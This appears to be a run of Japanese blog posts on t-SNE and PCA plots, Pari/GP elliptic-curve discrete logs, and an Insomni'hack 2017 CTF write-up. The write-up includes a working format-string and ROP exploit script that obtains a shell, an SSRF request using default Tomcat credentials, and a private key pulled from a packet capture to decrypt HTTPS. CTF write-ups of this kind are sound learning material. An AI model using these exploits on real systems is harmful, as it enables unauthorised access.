scikit-learnでt-SNE散布図を描いてみる

「scikit-learnでPCA散布図を描いてみる」では、scikit-learnを使ってPCA散布図を描いた。 ここでは、scikit-learnを使って非線形次元削減手法のひとつt-SNEで次元削減を行い、散布図を描いてみる。

環境

「scikit-learnでPCA散布図を描いてみる」を参照。

MNISTデータセットとPCA散布図

MNISTデータセットは0から9の手書き数字を表す8x8グレイスケール画像のデータセットであり、irisに並んで有名なサンプルデータセットである。

このデータセットについてPCA散布図を描いてみると次のようになる。

%matplotlib inline
import matplotlib.pyplot as plt
from sklearn import datasets
from sklearn.decomposition import PCA

digits = datasets.load_digits()

print digits.data.shape
# (1797, 64)

print digits.target.shape
# (1797,)

X_reduced = PCA(n_components=2).fit_transform(digits.data)

print X_reduced.shape
# (1797, 2)

plt.scatter(X_reduced[:, 0], X_reduced[:, 1], c=digits.target)
plt.colorbar()
# <matplotlib.colorbar.Colorbar at 0x7f880818e6d0>

f:id:inaz2:20170124152915p:plain

PCA散布図はデータのばらつきをプロットするにはよいが、次元削減により主成分ベクトルが作る線形空間での近似となるため、PCAが仮定している多次元正規分布から大きく離れた分布に従うデータでは高次元の特徴量が持っていた情報の多くが失われてしまう。 このようなデータに対しては非線形次元削減あるいは多様体学習と呼ばれる手法を用いることで、高次元空間における距離をもとにした次元削減を行うことができる。 いくつかの手法の概要をまとめると次のようになる。

  • Locally Linear Embedding (LLE): データポイント近傍での線形性を仮定する
  • Spectral Embedding (Laplacian Eigenmaps): 距離の近いデータポイント同士を繋ぐことで得られるグラフ構造を用いる
  • Multi-dimensional Scaling (MDS): データポイント間の距離の大小をできるだけ保つ
  • t-Distributed Stochastic Neighbor Embedding (t-SNE): データポイント間の類似度を表現する条件付き確率をできるだけ保つ

ここでは、2、3次元への次元削減において高いパフォーマンスを示すt-SNEを用いる。

MNISTデータセットのt-SNE散布図を描いてみる

t-SNEで2次元に次元削減して散布図を描いてみると次のようになる。

%matplotlib inline
import matplotlib.pyplot as plt
from sklearn import datasets
from sklearn.manifold import TSNE

digits = datasets.load_digits()

print digits.data.shape
# (1797, 64)

print digits.target.shape
# (1797,)

X_reduced = TSNE(n_components=2, random_state=0).fit_transform(digits.data)

print X_reduced.shape
# (1797, 2)

plt.scatter(X_reduced[:, 0], X_reduced[:, 1], c=digits.target)
plt.colorbar()
# <matplotlib.colorbar.Colorbar at 0x7ff21173ee90>

f:id:inaz2:20170124161610p:plain

上の結果から、データポイント間の距離をもとに、64次元の特徴量を持つデータを2次元の散布図としてプロットできていることがわかる。

関連リンク

scikit-learnでPCA散布図を描いてみる

高次元の特徴量を持つデータの分布をおおまかに把握する方法として、PCA(主成分分析)で次元削減した後散布図を描く方法がある。 ここでは、Dockerを用いてデータ分析プラットフォームAnaconda環境を構築し、scikit-learnを使ってPCA散布図を描いてみる。

環境

Ubuntu 16.04.1 LTS 64bit版、Docker 1.12.5

$ uname -a
Linux vm-ubuntu64 4.4.0-59-generic #80-Ubuntu SMP Fri Jan 6 17:47:47 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 16.04.1 LTS
Release:        16.04
Codename:       xenial

$ docker --version
Docker version 1.12.5, build 7392c3b

DockerでAnaconda環境を構築する

Anacondaはデータ分析・機械学習に特化したPythonディストリビューションであり、Numpy、Scipy、Matplotlib、Sympy、scikit-learn、pandasなどのライブラリやブラウザ上から対話的なスクリプト実行、プロット表示が行えるJupyter Notebookが標準でインストールされている。 今回はscikit-learnとMatplotlibしか使わないが、Jupyter Notebookを利用することでプロット結果の確認が簡単になるため、Anacondaを利用することにする。

Anacondaは公式でDockerイメージを提供しており、これを利用すると簡単に環境を構築することができる。

$ docker pull continuumio/anaconda
Using default tag: latest
latest: Pulling from continuumio/anaconda

8ad8b3f87b37: Pull complete
fa2bdab78aa4: Pull complete
074a37ca9de6: Pull complete
751e84aa2169: Pull complete
Digest: sha256:6e2b524bce61a32b1a85bb4fc88ba8f2079e3b41d8b324250a3be35c45d7d9ee
Status: Downloaded newer image for continuumio/anaconda:latest

$ docker run -i -t -p 8888:8888 continuumio/anaconda /bin/bash -c "/opt/conda/bin/conda install jupyter -y --quiet && mkdir /opt/notebooks && /opt/conda/bin/jupyter notebook --notebook-dir=/opt/notebooks --ip='*' --port=8888 --no-browser"

サーバが起動したら、ブラウザからhttp://[host ip address]:8888/を開くことでJupyter Notebookにアクセスできる。

f:id:inaz2:20170123193200p:plain

irisデータセットのPCA散布図を描いてみる

PCA(Principal Component Analysis; 主成分分析)は、高次元の特徴量を持つデータについて、元のデータのばらつきをよく表す低次元の合成変数を得る手法である。

ここでは分析対象として、有名なサンプルデータセットであるirisを用いることにする。

上の例を参考に、PCAで2次元に次元削減して散布図を描いてみると次のようになる。

%matplotlib inline
import matplotlib.pyplot as plt
from sklearn import datasets
from sklearn.decomposition import PCA

iris = datasets.load_iris()

print iris.data.shape
# (150, 4)

print iris.target
"""
[0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 2 2 2 2 2 2 2 2 2 2 2
 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2
 2 2]
"""

X_reduced = PCA(n_components=2).fit_transform(iris.data)

print X_reduced.shape
# (150, 2)

plt.scatter(X_reduced[:, 0], X_reduced[:, 1], c=iris.target)
# <matplotlib.collections.PathCollection at 0x7f5d087be4d0>

f:id:inaz2:20170123203948p:plain

上の結果から、4次元の特徴量を持つデータを2次元の散布図としてプロットできていることがわかる。

Insomni'hack teaser 2017 供養(Writeup)

Insomni'hack teaser 2017に参加。250ptで93位。

baby (Pwn 50)

NX、PIE、FullRELROが有効なx86-64 ELF。

# file baby
baby: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, not stripped

# gdb -q ./baby
Reading symbols from ./baby...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : ENABLED
RELRO     : FULL

TCP 1337で接続を待ち受けるfork server型になっており、

  • Stack buffer overflow
  • Format string bug
  • Heap overflow

が自由に起こせるようになっている。

Format string bugでcanaryや実行ファイル、libcのベースアドレスをリークした後、Stack buffer overflowからROPして解いた。 libcのベースアドレスはmain関数からのリターンアドレスを使って計算することができる。

from minipwn import *

def stack_overflow(s, buf):
    print recvuntil(s, '> ')
    sendline(s, '1')
    print recvuntil(s, '? ')
    sendline(s, str(len(buf)+1))
    sendline(s, buf)
    print recvline(s)

def format_string(s, buf):
    print recvuntil(s, '> ')
    sendline(s, '2')
    print recvuntil(s, '> ')
    sendline(s, buf)
    data = recvline(s)
    print recvuntil(s, '> ')
    sendline(s, '')
    return data

#s = socket.create_connection(('localhost', 1337))
s = socket.create_connection(('baby.teaser.insomnihack.ch', 1337))

data = format_string(s, '%138$p.%139$p.%140$p.%158$p')
addrs = [int(x,16) for x in data.split('.')]
canary, saved_ebp, bin_base, libc_base = addrs[0], addrs[1], addrs[2]-0x19cf, addrs[3]-0x20830
print "[+] canary = %x" % canary
print "[+] saved_ebp = %x" % saved_ebp
print "[+] bin_base = %x" % bin_base
print "[+] libc_base = %x" % libc_base

addr_bss = bin_base + 0x0000000000203010
addr_csu_init1 = bin_base + 0x1c7e
addr_csu_init2 = bin_base + 0x1c68
addr_pop_rdi = bin_base + 0x1c8b
got_recv = bin_base + 0x202eb8
#libc_system = libc_base + 0x0000000000045380
#addr_pop_rcx = libc_base + 0x00050233
libc_system = libc_base + 0x0000000000045390
addr_pop_rcx = libc_base + 0x000fc3e2

buf = 'A' * 0x408
buf += p64(canary)
buf += 'BBBBBBBB'
buf += struct.pack('<QQQQQQQQ', addr_csu_init1, 0, 0, 1, got_recv, 16, addr_bss, 4)
buf += p64(addr_pop_rcx) + p64(0)
buf += struct.pack('<QQQQQQQQ', addr_csu_init2, 0, 0, 1, 0, 0, 0, 0)
buf += p64(addr_pop_rdi) + p64(addr_bss)
buf += p64(libc_system)
stack_overflow(s, buf)

s.sendall('/bin/sh <&4 >&4\x00')

print "[+] got a shell!"
interact(s)
$ python test.py
Welcome to baby's first pwn.
Pick your favorite vuln :
   1. Stack overflow
   2. Format string
   3. Heap Overflow
   4. Exit
Your choice >
Simply type '\n' to return
Your format >
Your format >
[+] canary = 7971cd723454900
[+] saved_ebp = 7ffe526fc540
[+] bin_base = 55f1410d6000
[+] libc_base = 7f129d29e000
Welcome to baby's first pwn.
Pick your favorite vuln :
   1. Stack overflow
   2. Format string
   3. Heap Overflow
   4. Exit
Your choice >
How much bytes you want to send ?
Good luck !

[+] got a shell!
id
uid=1001(baby) gid=1001(baby) groups=1001(baby)
ls
baby
flag
cat flag
INS{if_you_haven't_solve_it_with_the_heap_overflow_you're_a_baby!}

cryptoquizz (Misc/Crypto 50)

ランダムに与えられる暗号学者の生年を答える問題。 100回繋いでリストを作り、それぞれ対応するWikipediaのページから特定できるものを補完。 残りは人力でGoogle検索して埋めた。

from minipwn import *

data = """Arjen K. Lenstra [1956]
Lars Knudsen [1962]
Xuejia Lai [1954]
Daniel Bleichenbacher [1964]
Douglas Stinson [1956]
Claus-Peter Schnorr [1943]
Niels Ferguson [1965]
Yvo Desmedt [1956]
Ron Rivest [1947]
Antoine Joux [1967]
Michael O. Rabin [1931]
Jim Massey [1934]
Markus Jakobsson [1968]
Martin Hellman [1945]
Alex Biryukov [1969]
Yehuda Lindell [1971]
Joan Daemen [1965]
Horst Feistel [1915]
Kaisa Nyberg [1948]
Ralph Merkle [1952]
Paul Kocher [1973]
Paulo Barreto [1965]
Whitfield Diffie [1944]
Mitsuru Matsui [1961]
David Naccache [1967]
Phil Rogaway [1962]
Eli Biham [1960]
Adi Shamir [1952]
Ronald Cramer [1968]
Shai Halevi [1966]
Donald Davies [1924]
Moni Naor [1961]
Jacques Stern [1949]
Amos Fiat [1956]
Victor S. Miller [1947]
Paul van Oorschot [1962]
Nigel P. Smart [1967]
Serge Vaudenay [1968]
Ross Anderson [1956]
Dan Boneh [1969]
Jacques Patarin [1965]
Rafail Ostrovsky [1963]
Daniel J. Bernstein [1971]
Tatsuaki Okamoto [1952]
"""

birth_year = {}
for line in data.splitlines():
    name, birth = line[:-1].split(' [')
    birth_year[name] = birth

s = socket.create_connection(('quizz.teaser.insomnihack.ch', 1031))
print s.recv(8192)

while True:
    data = s.recv(8192)
    if not data:
        break
    m = re.search(r'~~ What is the birth year of (.+?) \?', data)
    if m:
        name = m.group(1)
        print name, birth_year[name]
        sendline(s, birth_year[name])
    else:
        print data

s.close()
$ python test.py

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~ Hello, young hacker. Are you ready to fight rogue machines ?    ~~
~~ Now, you'll have to prove us that you are a genuine             ~~
~~ cryptographer.                                                  ~~
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Douglas Stinson 1956
Whitfield Diffie 1944


Lars Knudsen 1962
Antoine Joux 1967


David Naccache 1967
Donald Davies 1924


Jacques Stern 1949
Serge Vaudenay 1968



~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~ OK, young hacker. You are now considered to be a                ~~
~~ INS{GENUINE_CRYPTOGRAPHER_BUT_NOT_YET_A_PROVEN_SKILLED_ONE}     ~~
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

bender_safe (Reverse 50)

MIPS ELF。

# file bender_safe
bender_safe: ELF 32-bit MSB executable, MIPS, MIPS-II version 1 (SYSV), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=76438e9ed749bcfc6e191e548da153d0d3b3ee28, not stripped

16文字のチャレンジ文字列から計算される8文字のレスポンスを答える問題。 QEMUベースの高機能トレーサーqiraでトレースしながら、一文字ずつ計算式をリバーシングした。

下の図は3文字目の判定に失敗したあたりを見ているところ。 左側のレジスタ値とメモリのスナップショットを見ながら、右側のグラフでどのように比較される値が計算されているかを調べる。

f:id:inaz2:20170122185450p:plain

from minipwn import *

#s = socket.create_connection(('localhost', 4000))
s = socket.create_connection(('bender_safe.teaser.insomnihack.ch', 31337))
print recvuntil(s, '\n')
print recvuntil(s, '\n')
otp = recvuntil(s, '\n')
print otp

table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\x00\x00\x00\x00-------------------------------'

buf = otp[0x0]
buf += otp[0xf]
buf += chr(ord(otp[0x7]) ^ (-0x5a) ^ (-0x67) ^ 0x7f) if ord(otp[0x7]) < 0x41 else chr(ord(otp[0x7]) ^ 0x4b ^ 0x61 ^ 0xa)
buf += table[table.index(otp[0x3]) - 0xa] if ord(otp[0x3]) < 0x41 else table[table.index(otp[0x3]) + 0xa]
buf += table[table.index(otp[0x4]) - 0xa] if ord(otp[0x4]) < 0x41 else table[table.index(otp[0x4]) + 0xa]
buf += table[abs(ord(otp[1])-ord(otp[2])) % 0x23]
buf += table[abs(ord(otp[5])-ord(otp[6])) % 0x23]
buf += chr(ord(otp[0x8]) ^ (-0x5a) ^ (-0x67) ^ 0x7f) if ord(otp[0x8]) < 0x41 else chr(ord(otp[0x8]) ^ 0x4b ^ 0x61 ^ 0xa)
sendline(s, buf)

interact(s)
$ python test.py
Welcome to Bender's passwords storage service

Here's your OTP challenge :

5FKU25OCL8GMEZZB

      _
     ( )
      H
      H
     _H_
  .-'-.-'-.
 /         \
|           |
|   .-------'._
|  / /  '.' '. \
|  \ \ @   @ / /
|   '---------'
|    _______|
|  .'-+-+-+|
|  '.-+-+-+|      INS{Angr_is_great!_Oh_angr_is_great!_Angr_angr_angr}
|    """""" |
'-.__   __.-'
     """

This is Bender's password vault storage
I have 54043195528445952 bytes of memory for storage!
Although 54043195528444928 of which is used to store my fembots videos...HiHiHi!
Your passwords are safe with me meatbag!
-------------------------------
|                             |
|  1. View passwords          |
|  2. Enter new passwords     |
|  3. View admin password     |
|  4. Exit                    |
|                             |
-------------------------------
4
*** Connection closed by remote host ***

angrを使ったほうがよかったかもしれない。

smarttomcat (Web 50)

パラメータで与えられたURLにアクセスするスクリプトが置かれたウェブサイト。 Tomcat Manager(http://localhost:8080/manager/html)にアクセスさせるようにすると、401 Unauthorizedエラーが返ってくる。 デフォルトの設定ファイルでコメントアウトされているアカウント情報でBasic認証の突破を試みると、フラグが得られた。

$ curl -v 'http://smarttomcat.teaser.insomnihack.ch/index.php' --data 'u=http%3A%2F%2Ftomcat%3Atomcat%40localhost%3A8080%2Fmanager%2Fhtml'
*   Trying 54.229.3.101...
* Connected to smarttomcat.teaser.insomnihack.ch (54.229.3.101) port 80 (#0)
> POST /index.php HTTP/1.1
> Host: smarttomcat.teaser.insomnihack.ch
> User-Agent: curl/7.47.0
> Accept: */*
> Content-Length: 66
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 66 out of 66 bytes
< HTTP/1.1 200 OK
< Date: Sun, 22 Jan 2017 08:41:27 GMT
< Content-Type: text/html; charset=UTF-8
< Content-Length: 91
< Connection: keep-alive
< Server: Apache/2.4.18 (Ubuntu)
< Vary: User-Agent,Accept-Encoding
<
We won't give you the manager, but you can have the flag : INS{th1s_is_re4l_w0rld_pent3st}
* Connection #0 to host smarttomcat.teaser.insomnihack.ch left intact

The Great Escape - part 1 (Forensics 50)

pcapng形式のパケットキャプチャファイルが与えられる。 Wiresharkで開くと、FTPでssc.keyというファイル名で秘密鍵が転送されていることがわかる。

$ strings -n8 TheGreatEscape-3859f9ed7682e1857aaa4f2bcb5867ea6fe88c74.pcapng | awk '/-----BEGIN PRIVATE KEY-----/,/-----END PRIVATE KEY-----/'
-----BEGIN PRIVATE KEY-----
MIIJQwIBADANBgkqhkiG9w0BAQEFAASCCS0wggkpAgEAAoICAQC5twyPH+2U6X0Q
uxOKPTHSR6MkXGSvAz+Ax+G9DKEiBLuTTfl7dNv4oswdmT9nWlSY1kxZatNwlUF8
WAuGLntO5xTEmOJlMtBFrWGD+DVpCE9KORGvyif8e4xxi6vh4mkW78IxV03VxHM0
mk/cq5kkERfWQW81pVeYm9UAm4dj+LcCwQ9aGd/vfTtcACqS5OGtELFbsHJuFVyn
(snip)
-----END PRIVATE KEY-----
(snip)

この鍵がssc.teaser.insomnihack.chのサーバ鍵であると推測し、Wireshark52.214.142.175, 443, httpでssc.keyを追加してHTTPS通信の復号を試みたところ復号できた。 ログイン後のHTTPヘッダにフラグがある。

Frame 2236: 646 bytes on wire (5168 bits), 646 bytes captured (5168 bits) on interface 0
Linux cooked capture
Internet Protocol Version 4, Src: 172.31.36.141, Dst: 52.214.142.175
Transmission Control Protocol, Src Port: 51398, Dst Port: 443, Seq: 569, Ack: 153, Len: 578
Secure Sockets Layer
[2 Reassembled SSL segments (523 bytes): #2236(1), #2236(522)]
Hypertext Transfer Protocol
    POST /api/user.php HTTP/1.1\r\n
    Host: ssc.teaser.insomnihack.ch\r\n
    User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0\r\n
    Accept: application/json, text/plain, */*\r\n
    Accept-Language: en-US,en;q=0.5\r\n
    Accept-Encoding: gzip, deflate, br\r\n
    Content-Type: application/x-www-form-urlencoded\r\n
    Referer: https://ssc.teaser.insomnihack.ch/login\r\n
    Content-Length: 38\r\n
    Cookie: PHPSESSID=3u5dqmfudc7ap1di0nmfjgtjm3\r\n
    FLAG: INS{OkThatWasWay2Easy}\r\n
    Connection: keep-alive\r\n
    \r\n
    [Full request URI: https://ssc.teaser.insomnihack.ch/api/user.php]
    [HTTP request 1/6]
    [Response in frame: 2247]
    [Next request in frame: 2248]
    File Data: 38 bytes
HTML Form URL Encoded: application/x-www-form-urlencoded
    Form item: "action" = "login"
    Form item: "name" = "rogue"
    Form item: "password" = "rogue"

所感

50pt問題しか解くことができず厳しかった。 他に解きたかった問題は以下。

  • The Great Escape - part 2 (Web 200)
  • Shobot (Web 200)
  • mindreader (Mobile 250)

Pari/GPで楕円曲線離散対数を計算してみる

「Pari/GPでECDH鍵交換、ECDSA署名をやってみる」では、数式処理システムPari/GPを使ってECDH鍵交換、ECDSA署名の計算を行った。 これらの楕円曲線暗号は、楕円曲線離散対数問題(ECDLP)と呼ばれる問題が計算量的に困難であることを安全性の根拠としている。 ここでは、実際にbit数の小さな楕円曲線に対して楕円曲線離散対数を計算し、簡単に解けるbit数がどのくらいか調べてみる。

環境

Ubuntu 16.04.1 LTS 64bit版、Pari/GP 2.7.5、Intel Core i5-4200U (1.6GHz * 2 * 2)

$ uname -a
Linux vm-ubuntu64 4.4.0-59-generic #80-Ubuntu SMP Fri Jan 6 17:47:47 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 16.04.1 LTS
Release:        16.04
Codename:       xenial

$ gp --version-short
2.7.5

$ grep "processor\|model name" /proc/cpuinfo
processor       : 0
model name      : Intel(R) Core(TM) i5-4200U CPU @ 1.60GHz
processor       : 1
model name      : Intel(R) Core(TM) i5-4200U CPU @ 1.60GHz
processor       : 2
model name      : Intel(R) Core(TM) i5-4200U CPU @ 1.60GHz
processor       : 3
model name      : Intel(R) Core(TM) i5-4200U CPU @ 1.60GHz

楕円曲線離散対数問題(Elliptic Curve Discrete Logarithm Problem; ECDLP)

楕円曲線離散対数問題とは、有限体(mod p)上で定義した楕円曲線上の点G(生成元)と点Pについて、次の式を満たすnを求めるという問題である。

P = n * G

ここで、記号*楕円曲線におけるスカラー倍を表す。 通常の(mod p上での)離散対数が乗法群の上で定義されるのに対し、楕円曲線の場合は加法群の上で定義されるため、計算としてはスカラー倍ではあるがアナロジー的に離散対数と呼ばれる。

通常の離散対数問題と同様に、楕円曲線離散対数問題を効率的に解く方法は見つかっておらず、十分大きなpをとったときこの計算を現実的な時間で行うことは難しいとされている。 NISTによる等価安全性の評価では、160bitの楕円曲線離散対数問題が1024bitの素因数分解問題に相当するとされており、小さな数でより安全な暗号を構成することができる。

f:id:inaz2:20170120112505p:plain

Pari/GPにおける楕円曲線離散対数アルゴリズムの実装

Pari/GPでは、有限体上での楕円曲線に関するさまざまな関数が実装されており、離散対数はelllog関数で求めることができる。

ドキュメントには具体的な計算アルゴリズムが書かれていないため、その詳細をソースコードを追って調べると次のようになる。

6457 GEN
6458 elllog(GEN E, GEN a, GEN g, GEN o)
6459 {
6460   pari_sp av = avma;
6461   GEN fg, r;
6462   checkell_Fq(E); checkellpt(a); checkellpt(g);
6463   fg = ellff_get_field(E);
6464   if (!o) o = ellff_get_o(E);
6465   if (typ(fg)==t_FFELT)
6466     r = FF_elllog(E, a, g, o);
6467   else
6468   {
6469     GEN p = fg, e = ellff_get_a4a6(E);
6470     GEN Pp = FpE_changepointinv(RgE_to_FpE(a,p), gel(e,3), p);
6471     GEN Qp = FpE_changepointinv(RgE_to_FpE(g,p), gel(e,3), p);
6472     r = FpE_log(Pp, Qp, o, gel(e,1), p);
6473   }
6474   return gerepileuptoint(av, r);
6475 }
1426 GEN
1427 FF_elllog(GEN E, GEN P, GEN Q, GEN o)
1428 {
1429   pari_sp av = avma;
1430   GEN fg = ellff_get_field(E), e = ellff_get_a4a6(E);
1431   GEN r,T,p, Pp,Qp, e3;
1432   ulong pp;
1433   _getFF(fg,&T,&p,&pp);
1434   switch(fg[1])
1435   {
1436   case t_FF_FpXQ:
1437     e3 = FqV_to_FpXQV(gel(e,3),T);
1438     Pp = FpXQE_changepointinv(RgE_to_FpXQE(P,T,p), e3, T, p);
1439     Qp = FpXQE_changepointinv(RgE_to_FpXQE(Q,T,p), e3, T, p);
1440     r = FpXQE_log(Pp, Qp, o, gel(e,1), T, p);
1441     break;
1442   case t_FF_F2xq:
1443     Pp = F2xqE_changepointinv(RgE_to_F2xqE(P,T), gel(e,3), T);
1444     Qp = F2xqE_changepointinv(RgE_to_F2xqE(Q,T), gel(e,3), T);
1445     r = F2xqE_log(Pp, Qp, o, gel(e,1), T);
1446     break;
1447   default:
1448     Pp = FlxqE_changepointinv(RgE_to_FlxqE(P,T,pp), gel(e,3), T, pp);
1449     Qp = FlxqE_changepointinv(RgE_to_FlxqE(Q,T,pp), gel(e,3), T, pp);
1450     r = FlxqE_log(Pp, Qp, o, gel(e,1), T, pp);
1451   }
1452   return gerepileupto(av, r);
1453 }
1516 GEN
1517 FpXQE_log(GEN a, GEN b, GEN o, GEN a4, GEN T, GEN p)
1518 {
1519   pari_sp av = avma;
1520   struct _FpXQE e;
1521   e.a4=a4; e.T=T; e.p=p;
1522   return gerepileuptoint(av, gen_PH_log(a, b, o, (void*)&e, &FpXQE_group));
1523 }
 577 /* grp->easylog() is an optional trapdoor function that catch easy logarithms*/
 578 /* Generic Pohlig-Hellman discrete logarithm*/
 579 /* smallest integer n such that g^n=a. Assume g has order ord */
 580 GEN
 581 gen_PH_log(GEN a, GEN g, GEN ord, void *E, const struct bb_group *grp)
 582 {
 ...
 602   for (i=1; i<l; i++)
 603   {
 ...
 623     for (j=0;; j++)
 624     { /* n_q = sum_{i<j} b_i q^i */
 625       b = grp->pow(E,a0, gel(qj,e-j));
 626       /* early abort: cheap and very effective */
 627       if (j == 0 && !grp->equal1(grp->pow(E,b,q))) {
 628         avma = av; return cgetg(1, t_VEC);
 629       }
 630       b = gen_plog(b, g_q, q, E, grp);
 631       if (typ(b) != t_INT) { avma = av; return cgetg(1, t_VEC); }
 632       n_q = addii(n_q, mulii(b, gel(qj,j)));
 633       if (j == e) break;
 634
 635       a0 = grp->mul(E,a0, grp->pow(E,ginv0, b));
 636       ginv0 = grp->pow(E,ginv0, q);
 637     }
 638     gel(v,i) = mkintmod(n_q, gel(qj,e+1));
 639   }
 640   return gerepileuptoint(av, lift(chinese1_coprime_Z(v)));
 641 }
 520 /*Generic discrete logarithme in a group of prime order p*/
 521 GEN
 522 gen_plog(GEN x, GEN g, GEN p, void *E, const struct bb_group *grp)
 523 {
 524   if (grp->easylog)
 525   {
 526     GEN e = grp->easylog(E, x, g, p);
 527     if (e) return e;
 528   }
 529   if (grp->equal1(x)) return gen_0;
 530   if (grp->equal(x,g)) return gen_1;
 531   if (expi(p)<32) return gen_Shanks_log(x,g,p,E,grp);
 532   return gen_Pollard_log(x, g, p, E, grp);
 533 }

要約すると次のようになる。

Pohlig-Hellmanアルゴリズムは、中国の剰余定理を使って計算を高速化するものである。 RSAにおける中国の剰余定理の利用をイメージすると理解しやすい。

Pari/GPで楕円曲線離散対数を計算してみる

ここでは、楕円曲線として次の曲線を考える。

f:id:inaz2:20170120163449p:plain (from Wikimedia Commons)

32 bitの素数pをとって計算してみると次のようになる。

$ gp -q
? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^32)));
? factor(E.no)

[    2 4]

[    7 1]

[  587 1]

[65327 1]

? G = E.gen[1];
? P = ellpow(E, G, 17320508);
? elllog(E, P, G)
17320508
? ##
  ***   last result computed in 0 ms.

ここで、E.no楕円曲線の位数、E.genはその位数となる生成元を意味する。 上の結果から、正しく楕円曲線離散対数が計算できていることがわかる。

続けて、bit数を徐々に大きくして計算してみる。

? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^64)));
? factor(E.no)

[            2 3]

[       324301 1]

[7110193951261 1]

? G = E.gen[1];
? P = ellpow(E, G, 17320508);
? elllog(E, P, G)
17320508
? ##
  ***   last result computed in 40,868 ms.
? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^72)));
? factor(E.no)

[              2 1]

[              3 3]

[             13 1]

[             37 1]

[           1181 1]

[153946902119671 1]

? G = E.gen[1];
? P = ellpow(E, G, 17320508);
? elllog(E, P, G)
17320508
? ##
  ***   last result computed in 2min, 40,652 ms.
? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^80)));
? factor(E.no)

[                2 2]

[                3 1]

[               11 1]

[               31 1]

[            25111 1]

[11765219119332439 1]

? G = E.gen[1];
? P = ellpow(E, G, 17320508);
? elllog(E, P, G)
17320508
? ##
  ***   last result computed in 6min, 3,176 ms.
? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^88)));
? factor(E.no)

[              3 2]

[    63445780987 1]

[541993853311213 1]

? G = E.gen[1];
? P = ellpow(E, G, 17320508);
? elllog(E, P, G)
17320508
? ##
  ***   last result computed in 2min, 10,601 ms.
? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^96)));
? factor(E.no)

[                2 4]

[                5 2]

[                7 2]

[               79 1]

[          4227397 1]

[12103845910958041 1]

? G = E.gen[1];
? P = ellpow(E, G, 17320508);
? elllog(E, P, G)
17320508
? ##
  ***   last result computed in 14min, 24,428 ms.
? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^104)));
? factor(E.no)

[               2 1]

[               5 1]

[              53 1]

[              83 1]

[    209236176689 1]

[2203579946128079 1]

? G = E.gen[1];
? P = ellpow(E, G, 17320508);
? elllog(E, P, G)
17320508
? ##
  ***   last result computed in 5min, 42,409 ms.
? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^112)));
? factor(E.no)

[                   3 2]

[                  67 1]

[        214901400149 1]

[40068488248358139191 1]

? G = E.gen[1];
? P = ellpow(E, G, 17320508);
? elllog(E, P, G)
^C  ***   at top-level: elllog(E,P,G)
  ***                 ^-------------
  *** elllog: user interrupt after 6h, 41min, 47,320 ms
  ***   Break loop: <Return> to continue; 'break' to go back to GP prompt
break>

? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^120)));
? factor(E.no)

[             3 2]

[            89 1]

[          1847 1]

[        381347 1]

[   31639547057 1]

[74464534048783 1]

? G = E.gen[1];
? P = ellpow(E, G, 17320508);
? elllog(E, P, G)
17320508
? ##
  ***   last result computed in 2min, 21,056 ms.
? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^128)));
? factor(E.no)

[                3 1]

[               41 1]

[       3411655459 1]

[      22003545559 1]

[36853310066369891 1]

? G = E.gen[1];
? P = ellpow(E, G, 17320508);
? elllog(E, P, G)
17320508
? ##
  ***   last result computed in 28min, 969 ms.
? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^136)));
? factor(E.no)

[                              3 2]

[                              7 1]

[                             43 1]

[                        5375779 1]

[5981760200359529611202066470309 1]

? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^144)));
? factor(E.no)

[                                          2 2]

[5575186299632655785385137905034729488784923 1]

? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^152)));
? factor(E.no)

[                           3 2]

[           99007815273500183 1]

[6406891275370833771228590437 1]

? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^160)));
? factor(E.no)

[                                      3 1]

[                             1381217941 1]

[352708430713639496569423242667877661011 1]

?

パラメータである素数pを基準に考えると、128bitが約30分で解けていることがわかる。 ただし、Pohlig-Hellmanアルゴリズムの原理からわかるように、実際の計算量に影響するのは位数の素因数のうち最大のものである。 これを考慮すると、56bitが約30分で解けている一方、66bitでは6時間以上の時間がかかることがわかる。

$ python
Python 2.7.12 (default, Nov 19 2016, 06:48:10)
